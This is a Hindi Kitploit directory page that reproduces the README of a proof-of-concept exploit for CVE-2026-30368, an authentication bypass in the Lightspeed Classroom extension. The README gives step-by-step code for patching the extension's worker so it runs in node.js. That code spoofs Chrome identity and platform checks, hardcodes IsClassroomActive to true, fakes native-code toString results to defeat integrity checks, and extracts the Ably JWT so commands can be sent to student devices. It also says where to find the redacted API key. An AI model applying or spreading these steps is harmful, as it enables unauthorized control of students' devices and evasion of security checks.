Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/truekas/ls-poc
टोहीशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोलरिमोट एक्सेस टूलपेलोड डेवलपमेंट
GitHubtruekas/ls-poc

ls-poc

CVE-2026-30368 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Lightspeed Classroom में प्रमाणीकरण बायपास प्रदर्शित करता है ताकि Ably चैनल के माध्यम से छात्र डिवाइसों को नियंत्रित किया जा सके।

रिपॉजिटरी देखें
132295 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-30368 प्रूफ ऑफ कॉन्सेप्ट

[!IMPORTANT]

यह पैच हो चुका है और अब क्रेडेंशियल्स की आवश्यकता है, स्वयं पर कार्य करने के लिए वर्कअराउंड का उपयोग करें।

परिचय

CVE-2026-30368 एक कमजोर प्रमाणीकरण दोष के माध्यम से एक हमलावर को Lightspeed Classroom प्रबंधन में छात्र डिवाइसों को नियंत्रित करने की अनुमति देता है। POC (poc.js) LS Classroom एक्सटेंशन से सर्विस वर्कर को ग्लोबल कॉन्टेक्स्ट में निष्पादित करता है। वर्कर कुछ फ़ंक्शनों के लिए classroom.wasm भी चलाता है। wasm-loader.js वर्कर को लोड करता है और classroom.wasm द्वारा उत्पन्न JWT टोकन निकालता है। एक बार निकालने के बाद, यह वर्कर को समाप्त कर देता है, फिर टोकन को Lightspeed APIs को भेजता है ताकि लक्ष्य के Ably चैनल से कनेक्ट करने के लिए उपयोग किया जाने वाला टोकन प्राप्त किया जा सके। वहाँ से, एक हमलावर छात्र डिवाइस पर एक कमांड भेज सकता है। कमांडों की सूची और बहुत सारी अधिक जानकारी पूर्ण राइटअप में यहाँ उपलब्ध है।

आपको अपनी स्वयं की WORKER.JS, CLASSROOM.WASM, और MANIFEST.JSON फ़ाइलें प्रदान करनी होंगी!

ये इस रिपो में नहीं हो सकतीं क्योंकि:

  • यदि मैं ऐसा करता हूँ तो यह रिप निश्चित रूप से Lightspeed द्वारा DMCA की जाएगी
  • फ़ाइलें प्रत्येक जिले/संस्करण के लिए अलग होती हैं

समस्याओं से बचने के लिए, मैं संस्करण 5.1.2.1763770643 का उपयोग करने की सलाह देता हूँ। यदि आपको नए संस्करणों को अनुकूलित करने में सहायता चाहिए, तो आप स्वयं हैं।
आप Lightspeed एक्सटेंशन स्रोत कोड से worker.js और classroom.wasm फ़ाइलें प्राप्त कर सकते हैं। यह आपके Chrome प्रोफ़ाइल निर्देशिका में स्थित एक्सटेंशन फ़ोल्डर से एक्सटेंशन स्रोत निकालकर व्यक्तिगत डिवाइस पर Chrome में अपने स्कूल खाते से लॉग इन करके प्राप्त किया जा सकता है। आप अपडेट URL के माध्यम से crx को मैन्युअल रूप से भी डाउनलोड कर सकते हैं।

अनुशंसित विधि

इस एक्सप्लॉइट का आसान तरीका पहले अपने एक्सटेंशन स्रोत कोड से classroom.wasm प्राप्त करना है, फिर इसे wasm-only.js के समान निर्देशिका में पेस्ट करें, और चलाएँ:

$ node wasm-only.js

संकेत मिलने पर एक ईमेल और कस्टमर ID दर्ज करें। यह ably चैनल से कनेक्ट होगा। लाइन 815 पर जाएँ और जो संदेश भेजना चाहते हैं उसे अनकमेंट करें। क्रेडिट: ktibow on discord

wasm लोडर की सेट-अप

एक बार फ़ाइलें मिल जाने पर उन्हें क्लोन किए गए रिपो निर्देशिका में जोड़ें। आपको wasm-loader.js में getManifest() फ़ंक्शन में जाकर अपना एक्सटेंशन मेनिफेस्ट वहाँ पेस्ट करना होगा। आपको wasm-loader.js के शीर्ष पर एक्सटेंशन ID भी जोड़नी होगी।

worker.js की एक प्रति अपनी पसंद के फ़ाइलनाम के साथ बनाएँ। आपको बाद में इसकी आवश्यकता होगी। आवश्यक संशोधन करने के लिए आपको worker.js को webcrack के माध्यम से चलाना होगा ताकि इसे डीऑबफस्केट और डीमिनिफाई किया जा सके। ऐसा करते समय सुनिश्चित करें कि आप केवल "Deobfuscate" और "Unminify" विकल्प चुनें। परिणाम को अपने संपादक में वापस पेस्ट करने से पहले, सभी LSP सर्वरों को बंद करने की सलाह दी जाती है क्योंकि वे यादृच्छिक चर हटा देंगे और बाद के चरणों में वर्कर को तोड़ देंगे (आपको देख रहा हूँ vtsls...)

वर्कर को पैच करना

चूँकि सर्विस वर्कर node.js पर चलाया जाएगा (सुनिश्चित करें कि यह स्थापित है) इसे ठीक से चलाने के लिए कुछ पैचिंग की आवश्यकता होगी। JWT निष्कर्षण तर्क भी जोड़ने की आवश्यकता है। worker.js के सबसे ऊपर निम्नलिखित 2 फ़ंक्शन जोड़ें:

function valueCallBefore(call, before, func, r) {
  const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
  if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
    return [actualWorkerUrl, call[1]];
  }
  if (func == chrome.identity.getProfileUserInfo) {
          call[1](https://github.com/truekas/ls-poc/blob/master/identity)
          return []
  }
  return before
}

function valueCallAfter(call, after, func, r) {
  if (func.name == "toString"){
          return 'function getProfileUserInfo() { [native code] }'
  }
  if (call[0] == "worker.js") {
          return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
  }
  return after
}

इनका उपयोग तब किया जाएगा जब हम wasm go रनटाइम को संशोधित करेंगे ताकि LS classroom wasm द्वारा उपयोग किए जाने वाले मानों को इंटरसेप्ट और संशोधित किया जा सके। YOUR_EXTENSION_ID को अपनी एक्सटेंशन ID से और worker_copy.js को पहले बनाई गई मूल worker.js की प्रति के फ़ाइलनाम से बदलना सुनिश्चित करें। इसके बाद मुख्य एरो फ़ंक्शन के अंदर ((() => { के बाद) ये 2 फ़ंक्शन जोड़ें:

chrome.runtime.getPlatformInfo = function (e) {
 	e({
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	})
 	return {
  		"arch": "x86-64",
  		"nacl_arch": "x86-64",
  		"os": "cros"
 	}
}

chrome.identity.getProfileUserInfo = function (e) {
 	if (e){
  		e(identity)
 	} else {
  		return identity
 	}
}

इसके बाद आपको IsClassroomActive को true पर हार्डकोड करना होगा ताकि आप इसे कैंपस नेटवर्क के बाहर निष्पादित कर सकें। फ़ंक्शन को हमेशा true लौटाने के लिए बदलें:

_0x22e7ce.exports = {
  IsChromebookOnly: _0x218c73,
  IsClassroomActive: function () {
    return true;
  },
  LoadPolicy: _0x9069fc
};

फिर, संशोधित किए जाने वाले valueCall फ़ंक्शन को खोजने के लिए syscall/js.valueCall खोजें। यह wasm को JS मान की जानकारी देता है। इस फ़ंक्शन को संशोधित करके इंटरसेप्ट और बदले जाने वाले 2 मान worker.js का पथ हैं (इसे आपके वर्कर की प्रति में बदल दिया जाता है ताकि हैश जाँच पास हो सके) और chrome.identity.getProfileUserInfo.toString का मान native code कहने के लिए बदल दिया जाता है ताकि WASM विश्वास करे कि इसे भरोसा किया जा सकता है जबकि वास्तव में इसे फ़ाइल के शीर्ष पर संशोधित किया गया है। ऐसा करने के लिए, आपको शीर्ष पर परिभाषित valueCallBefore और valueCallAfter फ़ंक्शनों का उपयोग करना होगा। valueCall फ़ंक्शन को इस प्रकार संशोधित करें (चर नाम भिन्न होंगे, लेकिन संरचना समान है):

"syscall/js.valueCall": function (_0x4b3309) {
  _0x4b3309 >>>= 0;
  try {
    var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
    var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
    var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
    _0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
    var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
    _0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x1b573a);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
  } catch (_0x4b14cb) {
    _0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
    _0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
    _0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
  }
},

लगभग हो गया। अंत में, आपको JWT को कैप्चर करने के लिए कोड जोड़ना होगा। echoMessages: false खोजें और आपको Ably को भेजे गए हेडरों की सूची वाला चर मिलेगा। उसके ठीक नीचे, यह पंक्ति जोड़ें (चर नाम सटीक नहीं होंगे, आप authHeaders में ablyJwt तक पहुँचने वाली समान पंक्ति पा सकते हैं):

globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");

यह JWT को ग्लोबल स्कोप में एक चर को सौंपता है ताकि wasm-loader.js (सर्विस वर्कर चलाने वाला "हार्नेस") इसे एक्सेस कर सके। वर्कर का संशोधन यहीं समाप्त होता है। सुनिश्चित करें कि आपके सभी LSP अभी भी बंद हैं। यदि वे वापस चालू हो गए, तो आपको बाद में अपरिभाषित चरों के साथ समस्याएँ हो सकती हैं।

अंतिम तैयारी

poc.js फ़ाइल पर जाएँ। शीर्ष पर, उस खाते का ईमेल और कस्टमर ID जोड़ें जिस पर आप परीक्षण करना चाहते हैं (अधिमानतः अपना स्वयं का)। अपने स्वयं के अलावा किसी अन्य कस्टमर ID का उपयोग करने पर त्रुटि होगी क्योंकि आपके पास उस कस्टमर ID के अनुरूप सही worker.js और classroom.wasm फ़ाइलें होनी चाहिए।

मैं वास्तविक छात्रों पर उनकी सहमति के बिना इसके उपयोग का समर्थन नहीं करता!!! 🙂

poc.js में Ably API कुंजी कानूनी कारणों से संपादित (redacted) है इसलिए आपको इसे स्वयं खोजना होगा। इसे worker.js में देखें, यह G52 से शुरू होती है। आपकी कस्टमर ID भी उसी स्थान पर पाई जा सकती है, CUSTOMER_ID: खोजें या इस प्रारूप में एक स्ट्रिंग देखें: XX-XXXX-XXXX। अंतिम 3 अंक आमतौर पर 000 होते हैं।

टूल डाउनलोड करें